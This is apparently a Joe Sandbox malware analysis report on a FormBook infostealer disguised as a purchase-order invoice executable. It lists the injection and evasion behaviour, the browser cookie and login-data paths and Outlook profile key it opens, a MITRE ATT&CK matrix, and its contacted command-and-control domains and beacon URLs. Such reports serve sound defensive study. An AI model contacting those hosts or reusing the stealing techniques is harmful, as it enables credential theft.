                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00445DD3
                Source: yCokjJdvaMLab.exe, 00000003.00000000.2199188688.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000003.00000002.3927986820.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000000.2367543811.00000000010A1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
                Source: 19387759999PO-RFQ-INVOICE-doc.exe, yCokjJdvaMLab.exe, 00000003.00000000.2199188688.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000003.00000002.3927986820.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000000.2367543811.00000000010A1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: yCokjJdvaMLab.exe, 00000003.00000000.2199188688.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000003.00000002.3927986820.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000000.2367543811.00000000010A1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: 19387759999PO-RFQ-INVOICE-doc.exeBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
                Source: yCokjJdvaMLab.exe, 00000003.00000000.2199188688.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000003.00000002.3927986820.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000000.2367543811.00000000010A1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00410D10 cpuid 0_2_00410D10
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_004223BC
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004711D2 GetUserNameW,0_2_004711D2
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.2300395624.0000000005ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3930347018.0000000004DE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2293797981.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3928315722.0000000004050000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3927412255.0000000002570000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3927066611.0000000000120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2294470573.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3928342206.00000000026C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\sxstrace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\sxstrace.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: 19387759999PO-RFQ-INVOICE-doc.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
                Source: 19387759999PO-RFQ-INVOICE-doc.exeBinary or memory string: WIN_XP
                Source: 19387759999PO-RFQ-INVOICE-doc.exeBinary or memory string: WIN_XPe
                Source: 19387759999PO-RFQ-INVOICE-doc.exeBinary or memory string: WIN_VISTA
                Source: 19387759999PO-RFQ-INVOICE-doc.exeBinary or memory string: WIN_7

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.2300395624.0000000005ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3930347018.0000000004DE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2293797981.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3928315722.0000000004050000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3927412255.0000000002570000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3927066611.0000000000120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2294470573.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3928342206.00000000026C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_004741BB
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,0_2_0046483C
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0047AD92

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		1
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		1
                System Time Discovery                		Remote Services1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault AccountsScheduled Task/Job2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		3
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets241
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
                Process Injection                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem11
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1542201 Sample: 19387759999PO-RFQ-INVOICE-doc.exe Startdate: 25/10/2024 Architecture: WINDOWS Score: 100 28 www.zonguldakescortg.xyz 2->28 30 www.mtmc.xyz 2->30 32 10 other IPs or domains 2->32 42 Antivirus / Scanner detection for submitted sample 2->42 44 Multi AV Scanner detection for submitted file 2->44 46 Yara detected FormBook 2->46 50 3 other signatures 2->50 10 19387759999PO-RFQ-INVOICE-doc.exe 1 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 30->48 process4 signatures5 62 Writes to foreign memory regions 10->62 64 Maps a DLL or memory area into another process 10->64 66 Switches to a custom stack to bypass stack traces 10->66 68 Contains functionality to detect sleep reduction / modifications 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 yCokjJdvaMLab.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 sxstrace.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 yCokjJdvaMLab.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 www.mtmc.xyz 69.57.163.227, 49435, 49436, 49437 FORTRESSITXUS United States 22->34 36 www.zonguldakescortg.xyz 188.114.96.3, 49439, 49440, 49441 CLOUDFLARENETUS European Union 22->36 38 9 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                19387759999PO-RFQ-INVOICE-doc.exe50%ReversingLabsWin32.Trojan.Nymeria
                19387759999PO-RFQ-INVOICE-doc.exe100%AviraTR/AD.Swotter.xxwxi
                19387759999PO-RFQ-INVOICE-doc.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                https://duckduckgo.com/chrome_newtab0%URL Reputationsafe
                https://duckduckgo.com/ac/?q=0%URL Reputationsafe
                https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%URL Reputationsafe
                https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
                https://www.ecosia.org/newtab/0%URL Reputationsafe
                https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
                https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
                https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                www.mtmc.xyz
                		69.57.163.227
                		truetrue
                  		unknown
                  www.zonguldakescortg.xyz
                  		188.114.96.3
                  		truetrue
                    		unknown
                    www.73613.shop
                    		180.178.39.237
                    		truefalse
                      		unknown
                      www.moneta.life
                      		13.248.169.48
                      		truefalse
                        		unknown
                        www.yhh5.one
                        		38.181.21.169
                        		truefalse
                          		unknown
                          www.deepfy.xyz
                          		199.59.243.227
                          		truetrue
                            		unknown
                            www.theawareness.shop
                            		104.21.83.154
                            		truefalse
                              		unknown
                              www.innovate.dental
                              		104.21.68.22
                              		truefalse
                                		unknown
                                www.senova.net
                                		159.25.16.28
                                		truefalse
                                  		unknown
                                  co2cartridges.net
                                  		3.33.130.190
                                  		truefalse
                                    		unknown
                                    www.caprinaday.net
                                    		62.149.128.45
                                    		truefalse
                                      		unknown
                                      www.co2cartridges.net
                                      		unknown
                                      		unknownfalse
                                        		unknown

                                        Contacted URLs

                                        NameMaliciousAntivirus DetectionReputation
                                        http://www.zonguldakescortg.xyz/483l/false
                                          		unknown
                                          http://www.mtmc.xyz/qee5/?fnr=7ZF0pGz5jUnQRg2w4B3wHZ2PBCBTGvudgr1Ca7xOEOc+LbGqR6hjP08XlBebaNnqF6LUXwzP/jRwM7RCYPJKgPSIkm+P+1uad6burAp3nXvIVaqBzphG7ctZqBLd/mSR7Q==&zB=nPlhZPwp4vxtG8false
                                            		unknown
                                            http://www.deepfy.xyz/mipl/false
                                              		unknown
                                              http://www.zonguldakescortg.xyz/483l/?fnr=fbygzoGQ0b2DTciT6qLttgnenBXixzIHNdtp2cltw1BqOYCi94d7GAXkvVySQjnabTNG8v2M8q8xxQCbjzIxxI8jsCFcHmVczxN1vcYZcTvKID7QjtUtIlEekhJgmwZxKw==&zB=nPlhZPwp4vxtG8false
                                                		unknown
                                                http://www.senova.net/5vx4/?fnr=F+Q/oi234QE9d1QgEcEi+8CLFMRKH2CotIb8Eb0mZz7PQFsfcMkN+a65D20t3vo+fBRr+scjRqvPSZwCIZrexxCQral+mRRCObwZ0cvT/OJZhdhweNlw79x8dxwhge2Ykg==&zB=nPlhZPwp4vxtG8false
                                                  		unknown
                                                  http://www.innovate.dental/jc0n/?fnr=UytrD6wFvNa/vd3tNcDpO0k23ldkh+9c2vjZxgEGoBYX1NL5i6yWC4ILK4/wl2RatjNzkpyfmbhhWAPDZLF3nPKCZUB+Okfg3nepk0LcHs6ly/hw/A8iP8B2IOy1BVLDog==&zB=nPlhZPwp4vxtG8false
                                                    		unknown
                                                    http://www.theawareness.shop/no8n/false
                                                      		unknown
                                                      http://www.moneta.life/t37h/?zB=nPlhZPwp4vxtG8&fnr=YU6Xr4zdmUr2DEnYSgTnPMRVMOxIdaj0jdxM9ul8ndvQYIWnd4GUQ+Xn64ceDqObkWjKSdqZ8fty4cyLHm2yzIJXTwlu9sUUeWuTYEIJMkPa6/ogidnqUaWGyS18qGeRjQ==false
                                                        		unknown
                                                        http://www.moneta.life/t37h/false
                                                          		unknown
                                                          http://www.co2cartridges.net/rkra/false
                                                            		unknown
                                                            http://www.yhh5.one/swpt/false
                                                              		unknown
                                                              http://www.mtmc.xyz/qee5/false
                                                                		unknown
                                                                http://www.senova.net/5vx4/false
                                                                  		unknown
                                                                  http://www.innovate.dental/jc0n/false
                                                                    		unknown
                                                                    http://www.co2cartridges.net/rkra/?zB=nPlhZPwp4vxtG8&fnr=JnQ90+2tPZf1Nw696jxVVfc1gIvKsjbxoK0oRBT7W8xrHz9Kq2mPdQqP01ufLtUvzypfXqYRP3fqM6TnVzQwHD4WCkJatv+NI2f387N2qYjySJIXyUF0LCKUQhPDzb+lYQ==false
                                                                      		unknown
                                                                      http://www.73613.shop/3t8r/false
                                                                        		unknown
                                                                        http://www.caprinaday.net/jb8r/?zB=nPlhZPwp4vxtG8&fnr=TDGhLsnTem6euQMJN5SR1/vZdrcnvuH3b9u1dtlDKX98DypGfRzLoU+4CmaNhp/imi4raGrWIiVLyDJ0KU439EqI/67TVpzwQnGnuy5SUsP/vsjsUPAeQFmfLp6fskgf8w==false
                                                                          		unknown
                                                                          http://www.73613.shop/3t8r/?fnr=GmJHH11THV754GLh1e+uGyXAfoJstEB/7OnRRGUoNkES+x2V1WUnrUWHQhN+48XxciZvCUdLq/B6CDXyhJw9VEf0qWdUGznzgMuLodZT4GMyHLlyJDFPSTPHjoYfXAoQyg==&zB=nPlhZPwp4vxtG8false
                                                                            		unknown
                                                                            http://www.theawareness.shop/no8n/?fnr=lLbrB6Bvnx3/JIpslXODOLpgr0SvB4V+j54LwYHC6p+Y8c2Axs+n19k1wJ3Kl/hAKng4WeF60cdaP9fx7IaVrzYE9OAnryoKoSrX+qg0DatQasvbipewgLaCCA418y5JUQ==&zB=nPlhZPwp4vxtG8false
                                                                              		unknown

                                                                              URLs from Memory and Binaries

                                                                              NameSourceMaliciousAntivirus DetectionReputation
                                                                              https://duckduckgo.com/chrome_newtabsxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • URL Reputation: safe
                                                                              		unknown
                                                                              http://www.co2cartridges.netyCokjJdvaMLab.exe, 00000006.00000002.3930347018.0000000004E5A000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                		unknown
                                                                                https://duckduckgo.com/ac/?q=sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • URL Reputation: safe
                                                                                		unknown
                                                                                https://www.google.com/images/branding/product/ico/googleg_lodp.icosxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		unknown
                                                                                  https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  		unknown
                                                                                  https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  		unknown
                                                                                  https://www.ecosia.org/newtab/sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  		unknown
                                                                                  http://www.senova.com/5vx4/?fnr=FyCokjJdvaMLab.exe, 00000006.00000002.3928534258.000000000324A000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                    		unknown
                                                                                    https://ac.ecosia.org/autocomplete?q=sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    • URL Reputation: safe
                                                                                    		unknown
                                                                                    https://www.google.comsxstrace.exe, 00000005.00000002.3929016472.00000000057C2000.00000004.10000000.00040000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3931207613.00000000072B0000.00000004.00000800.00020000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3928534258.0000000003892000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                      		unknown
                                                                                      https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchsxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      • URL Reputation: safe
                                                                                      		unknown
                                                                                      http://www.caprinaday.net:80/jb8r/?zB=nPlhZPwp4vxtG8&amp;fnr=TDGhLsnTem6euQMJN5SR1/vZdrcnvuH3b9u1dtlsxstrace.exe, 00000005.00000002.3929016472.0000000004CC4000.00000004.10000000.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3928534258.0000000002D94000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2591250492.000000002D644000.00000004.80000000.00040000.00000000.sdmpfalse
                                                                                        		unknown
                                                                                        https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        • URL Reputation: safe
                                                                                        		unknown

                                                                                        World Map of Contacted IPs

                                                                                        • No. of IPs < 25%
                                                                                        • 25% < No. of IPs < 50%
                                                                                        • 50% < No. of IPs < 75%
                                                                                        • 75% < No. of IPs

                                                                                        Public IPs

                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                        104.21.83.154
                                                                                        		www.theawareness.shopUnited States
                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                        104.21.68.22
                                                                                        		www.innovate.dentalUnited States
                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                        159.25.16.28
                                                                                        		www.senova.netGermany
                                                                                        		5517CSLDEfalse
                                                                                        13.248.169.48
                                                                                        		www.moneta.lifeUnited States
                                                                                        		16509AMAZON-02USfalse
                                                                                        69.57.163.227
                                                                                        		www.mtmc.xyzUnited States
                                                                                        		25653FORTRESSITXUStrue
                                                                                        188.114.96.3
                                                                                        		www.zonguldakescortg.xyzEuropean Union
                                                                                        		13335CLOUDFLARENETUStrue
                                                                                        180.178.39.237
                                                                                        		www.73613.shopHong Kong
                                                                                        		45753NETSEC-HKNETSECHKfalse
                                                                                        199.59.243.227
                                                                                        		www.deepfy.xyzUnited States
                                                                                        		395082BODIS-NJUStrue
                                                                                        38.181.21.169
                                                                                        		www.yhh5.oneUnited States
                                                                                        		174COGENT-174USfalse
                                                                                        3.33.130.190
                                                                                        		co2cartridges.netUnited States
                                                                                        		8987AMAZONEXPANSIONGBfalse
                                                                                        62.149.128.45
                                                                                        		www.caprinaday.netItaly
                                                                                        		31034ARUBA-ASNITfalse

                                                                                        General Information

                                                                                        Joe Sandbox version:41.0.0 Charoite
                                                                                        Analysis ID:1542201
                                                                                        Start date and time:2024-10-25 16:51:49 +02:00
                                                                                        Joe Sandbox product:CloudBasic
                                                                                        Overall analysis duration:0h 9m 45s
                                                                                        Hypervisor based Inspection enabled:false
                                                                                        Report type:full
                                                                                        Cookbook file name:default.jbs
                                                                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                        Run name:Run with higher sleep bypass
                                                                                        Number of analysed new started processes analysed:7
                                                                                        Number of new started drivers analysed:0
                                                                                        Number of existing processes analysed:0
                                                                                        Number of existing drivers analysed:0
                                                                                        Number of injected processes analysed:2
                                                                                        Technologies:
                                                                                        • HCA enabled
                                                                                        • EGA enabled
                                                                                        • AMSI enabled
                                                                                        Analysis Mode:default
                                                                                        Analysis stop reason:Timeout
                                                                                        Sample name:19387759999PO-RFQ-INVOICE-doc.exe
                                                                                        Detection:MAL
                                                                                        Classification:mal100.troj.spyw.evad.winEXE@7/2@11/11
                                                                                        EGA Information:
                                                                                        • Successful, ratio: 75%
                                                                                        HCA Information:
                                                                                        • Successful, ratio: 91%
                                                                                        • Number of executed functions: 44
                                                                                        • Number of non-executed functions: 311
                                                                                        Cookbook Comments:
                                                                                        • Found application associated with file extension: .exe
                                                                                        • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                                                                        Warnings

                                                                                        • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                        • Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                        • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                        • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                        • VT rate limit hit for: 19387759999PO-RFQ-INVOICE-doc.exe

                                                                                        Simulations

                                                                                        Behavior and APIs

                                                                                        TimeTypeDescription
                                                                                        10:53:45API Interceptor7453519x Sleep call for process: sxstrace.exe modified

                                                                                        Joe Sandbox View / Context

                                                                                        IPs

                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                        104.21.68.22nissrv.exeGet hashmaliciousXmrigBrowse
                                                                                          159.25.16.28Ricevuta_di_pagamento.vbsGet hashmaliciousGuLoaderBrowse
                                                                                          • www.senova.net/7msy/
                                                                                          13.248.169.48yGktPvplJn.exeGet hashmaliciousPushdoBrowse
                                                                                          • www.findbc.com/
                                                                                          Bill Of Lading_MEDUVB935991.pdf.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.lunch.delivery/qwed/
                                                                                          FACTURA A-7507_H1758.exeGet hashmaliciousGuLoaderBrowse
                                                                                          • www.how2.guru/7eim/
                                                                                          General terms and conditions of sale - Valid from 10202024 to 12312024.exeGet hashmaliciousFormBookBrowse
